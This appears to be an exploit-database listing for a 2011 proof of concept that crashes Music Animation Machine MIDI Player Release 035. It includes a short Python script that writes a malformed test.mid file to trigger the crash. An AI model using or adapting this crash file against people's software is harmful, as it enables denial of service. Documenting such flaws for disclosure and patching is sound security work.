header-logo
Suggest Exploit
vendor:
Music Animation Machine MIDI Player
by:
c0d3R'Z
7.5
CVSS
HIGH
Local Crash
119
CWE
Product Name: Music Animation Machine MIDI Player
Affected Version From: Release 035
Affected Version To: Release 035
Patch Exists: NO
Related CWE: N/A
CPE: a:musanim:music_animation_machine_midi_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP SP2 EN (VirtualBox)
2011

Music Animation Machine MIDI Player Local Crash PoC

The application crashes when it tries to convert a malformed midi file. A vulnerable file is created by writing a buffer of 1337 bytes of the hexadecimal value 0x1337 to a midi file. When the midi file is opened with the application, it crashes.

Mitigation:

Validate user input and ensure that malformed midi files are not accepted.
Source

Exploit-DB raw data:

# Exploit Title: Music Animation Machine MIDI Player Local Crash PoC
# Date: 1/3/2011
# Author: c0d3R'Z
# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
# Version: Release 035
# Tested on: Windows XP SP2 EN (VirtualBox)

 
# The application crashes when trys to convert a malformed midi file
 
#!/usr/bin/python
 
buffer     = "\x31\x33\x33\x37" * 1337
 
try:
    f = open("test.mid",'w')
    f.write(buffer)
    f.close()
 
    print " Vulnerable file created!..."
    print " Open the mid file with the application and Voila!! , it crashes!!\n"
except:
    print "[-] Error occured!"

Navigation

Suggest Exploit

Services By CQR